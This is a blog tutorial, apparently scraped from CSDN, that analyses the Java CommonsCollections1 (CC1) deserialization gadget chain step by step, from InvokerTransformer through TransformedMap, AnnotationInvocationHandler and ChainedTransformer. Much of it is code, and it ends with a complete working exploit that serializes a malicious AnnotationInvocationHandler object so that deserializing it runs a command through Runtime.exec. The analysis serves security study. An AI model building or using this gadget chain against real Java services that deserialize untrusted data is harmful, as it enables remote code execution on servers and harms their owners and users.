Java Deserialization CommonsCollections (CC1) Analysis


Preface

      This article includes: Some process analysis of CommonsCollections (CC1) of Java deserialization.


1. Process analysis

   1. Entry point—dangerous method InvokerTransformer.transform()

     1) The entry point is the Transformer class, which is a set of functional classes customized in Commons Collections. The function of the Transformer class is to receive an object and then call the transform method to perform some operations on the object.
Insert image description here
     2) You can see how the implementation classes of this transformer are done. You can take a look at them one by one. The key class of the CC1 chain is the InvokerTransformer class, so we will look at this class directly.
Insert image description here
     3) It can be found that input receives an object and then performs function calls through reflection. The method value (iMethodName), parameter type (iParamTypes), and parameters (iArgs) are all controllable and are a standard arbitrary method. transfer. Here you only need to pass in three parameters to call any function in the object.
Insert image description here
     4) Refer to and use the writing method of InvokerTransformer.transform to play a calculator. In the CC1 chain, the InvokerTransformer.transform method is the final dangerous method called. The transform() method is mainly used for object conversion.

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
//        // 1.先弹个计算器
//        Runtime.getRuntime().exec("calc");

//        // 2.写一个普通的反射
//        Runtime r = Runtime.getRuntime();
//        // 获取Runtime的class
//        Class c = Runtime.class;
//        // 获取Runtime的exec方法
//        Method execMethod = c.getMethod("exec",String.class);
//        // 调用exec方法
//        execMethod.invoke(r,"calc");

        // 3.InvokerTransformer的写法
        Runtime r = Runtime.getRuntime();
        // 参数名exec 参数类型是个数组内容为String.class  参数值也是数组内容为calc
        new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"}).transform(r);
        
    }
}

Insert image description here
Insert image description here

   2. Trigger the dangerous function TransformedMap.checkSetValue()

     1) Above we played a calculator through the InvokerTransformer.transform method, and then continued the analysis. Through the transform in the case, we found the transform method in the InvokerTransformer.java file, and then right-clicked on this method to find out which ones used this method, and found that there were 21 in total.
Insert image description here
     2) Analyze these 21 results one by one. We mainly look for calls to transform with different names, because it makes no sense for transform to call transform. Finally we found the TransformedMap class. The function of the TransformedMap class is to receive a Map and then perform some operations on its key and value. You can see that all three methods are called.
Insert image description here
     3) We looked directly at the third checkSetValue method and found that the valueTransformer in the checkSetValue method called transform().
Insert image description here
     4) Looking up the constructor of valueTransformer, we found that the constructor is a protected class, which means that it was called by itself. Its function is to perform some operations on the key and value of the map passed in. We need to find the public classes, so we still need to look at them.
Insert image description here
     5) Scroll up to see where it is called. When you turn to line 73, you can see a static method decorate(). In this method, the decoration operation is completed. Then as long as you use the public static function decorate() to call TransformedMap and pass in the transformation function Transformer of key and value, you can generate the corresponding TransformedMap from any Map object.
Insert image description here
     6) After looking down to find the controllable parameters, look up to see who called checkSetValue. It can be found that there is only one call, setValue in AbstractInputCheckedMapDecorator. You can find that the parent class of TransformedMap is this AbstractInputCheckedMapDecorator.
Insert image description here
Insert image description here
Insert image description here
     7) The setValue method is in the MapEntry class, and then repeat the previous action to find out who called setValue, and found that there are 38 results.
Insert image description here
Insert image description here
     8) If you don’t want to look for it, you can understand it. When Entry is traversed through HashMap, a key-value pair is an Entry. Write a test case to understand. Viewing setValue is actually entry.setValue(), which overrides this method.

// 创建一个HashMap
HashMap<Object, Object> map = new HashMap<>();
// 附下值
map.put("key","value");
// 遍历
for(Map.Entry entry:map.entrySet()){
    
    
    entry.getValue();
}

Insert image description here
     9) Now as long as we traverse the modified Map and call decorate(), we will reach the setValue method in the MapEntry class. A brief description of the process is shown below.
Insert image description here
Insert image description here

     10) A complete case. Now we can execute the command as long as we call the setValue method. The calling process is as follows

AbstractInputCheckedMapDecorator.entrySet()->AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"});

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        // 遍历
        for(Map.Entry entry:transformedMap.entrySet()){
    
    
            entry.setValue(r);
        }
    }
}

Insert image description hereInsert image description here

   3.AnnotationInvocationHandler类

     1) We just described how to trigger this vulnerability. We manually add new elements to the modified map to trigger a series of callbacks. However, in the actual vulnerability exploitation environment, we definitely cannot execute it manually. We need to let it run in reverse. It can be automatically triggered after serialization, which means that you need to find a certain class that can trigger the callback after executing readObject of this class. I continued to find who called it and found the sun.reflect.annotation.AnnotationInvocationHandler class.
Insert image description here
     2) This readObject has a function to traverse the Map. A value here calls the setValue method (). After finding this class, see if there are any controllable parameters. From the name of this class, AnnotationInvocationHandler, we can know that it is called during the dynamic proxy process. Processor class.
Insert image description here
     3) Take a look at the parameters of the AnnotationInvocationHandler class. The constructor receives two parameters. The first is that type is a class object and inherits the generic type of Annotation. The second is that memberValues ​​is a Map object. This Map object is Controlled. It should be noted here that this package does not write public, and nothing is written in java, which is the default default type. The default type can only be accessed in this package. Here we can only use reflection to obtain it.
Insert image description here
     4) Design a process.

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"});

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        // 遍历
//        for(Map.Entry entry:transformedMap.entrySet()){
    
    
//            entry.setValue(r);
//        }

        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
    
    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
    
    
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

     5) There are still several problems in this process. The first one needs to satisfy two if judgments. The second one is setValue, which needs to pass the runtime object, but now it is the AnnotationTypeMismatchExceptionProxy object, and the other is the Runtime object in the above example. It is generated manually by ourselves. This cannot be serialized because it does not inherit the serialization interface, so it can only be used through reflection.
Insert image description here
Insert image description here
     6) First solve the problem of not being serializable. Runtime.getRuntime() cannot be serialized but Runtime.class can be serialized. When we look at the Runtime class, we can find that there is a method that returns Runtime.
Insert image description here
     7) Let’s start with a common reflection that calls Runtime.class.

import java.lang.reflect.Method;

public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Class c = Runtime.class;
        // 获取静态方法getRuntime  它是一个无参方法所以没有参数类型
        Method getRuntimeMethod = c.getMethod("getRuntime",null);
        // 反射调用  因为它是静态方法并且无参数调用所以都为null
        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
        // 反射调用Runtime的exec方法
        Method execMethod = c.getMethod("exec",String.class);
        execMethod.invoke(r,"calc");
    }
}

Insert image description here
     8) Let’s have another version of InvokerTransformer. The first step is to get getRuntimeMethod.

// InvokerTransformer的类型为new Class[]和Object[]
// getMethod方法第一个是String,第二个是class数组  ...可变代表数组
// 第一个new Class[]就参照getMethod方法为String.class和Class[].class
// 第二个new Object[] 就是"getRuntime"和null
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]
{
    
    String.class,Class[].class},new Object[]{
    
    "getRuntime",null}).transform(Runtime.class);

Insert image description here
Insert image description here
Insert image description here
     9) In the second step, after obtaining getRuntimeMethod, call the invoke method.

// InvokerTransformer的类型为new Class[]和new Object[],
// 第一个new Class[]就参照invoke方法为Object.class和Object[].class
// 第二个new Object[] 就是null和null
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]
{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}).transform(getRuntimeMethod);

Insert image description here
Insert image description here
     10) The third step is reflection call. The final code and running results are as follows

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;


public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        // InvokerTransformer的版本
        Class c = Runtime.class;
        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{
    
    String.class,Class[].class},
                new Object[]{
    
    "getRuntime",null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},
                new Object[]{
    
    null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"}).transform(r);
    }
}

Insert image description here

   4.ChainedTransformer class

     1) In the past, InvokerTransformer was called cyclically, so the ChainedTransformer class was used. ChainedTransformer has a serialization interface. The issue with Runtime reflection calls is now solved.

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;


public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Transformer[] transformer = new Transformer[]{
    
    
                new InvokerTransformer("getMethod",new Class[]{
    
    String.class,Class[].class}, new Object[]{
    
    "getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class}, new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);
    }
}

Insert image description here
     2) Let’s look at the first two if judgment problems through debugging. The current writing method cannot enter the first if judgment. Through debugging, it is found that the type is entered through the serialization interface, and the type in AnnotationType.getInstance(type) is Override. I want to get the member variables in Override, but the value is empty and cannot be obtained.
Insert image description here
Insert image description here
     3) Looking down, you will know that you first get the key through the memberValue key-value pair, and use memberValue.getKey() to get the key. After getting the key, search for the key in memberTypes.get(name). And because there is no value in Override, the condition is not satisfied. To satisfy the first if condition, we need to find a class with member methods, and at the same time, the key of the array needs to be changed to the name of its member method.

Insert image description here
     4) The Target used here has a value() in it. You can find that after debugging again, you enter the first if judgment.

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Transformer[] transformer = new Transformer[]{
    
    
                new InvokerTransformer("getMethod",new Class[]{
    
    String.class,Class[].class}, new Object[]{
    
    "getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class}, new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("value","asdf");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        // 遍历
        for(Map.Entry entry:transformedMap.entrySet()){
    
    
            entry.setValue(r);
        }
//
        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
    
    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
    
    
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Insert image description here
Insert image description here
     5) The second if is to determine whether forced transfer is possible. Forced transfer is not possible here, so you can enter the second if judgment.

   5.ChainedTransformer class

     1) Finally, use the ChainedTransformer class to complete the entire utilization chain. The final code and results are below.

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Transformer[] transformer = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{
    
    String.class,Class[].class}, new Object[]{
    
    "getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class}, new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("value","asdf");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
    
    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
    
    
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Insert image description here

Guess you like

Origin blog.csdn.net/qq_44029310/article/details/127856016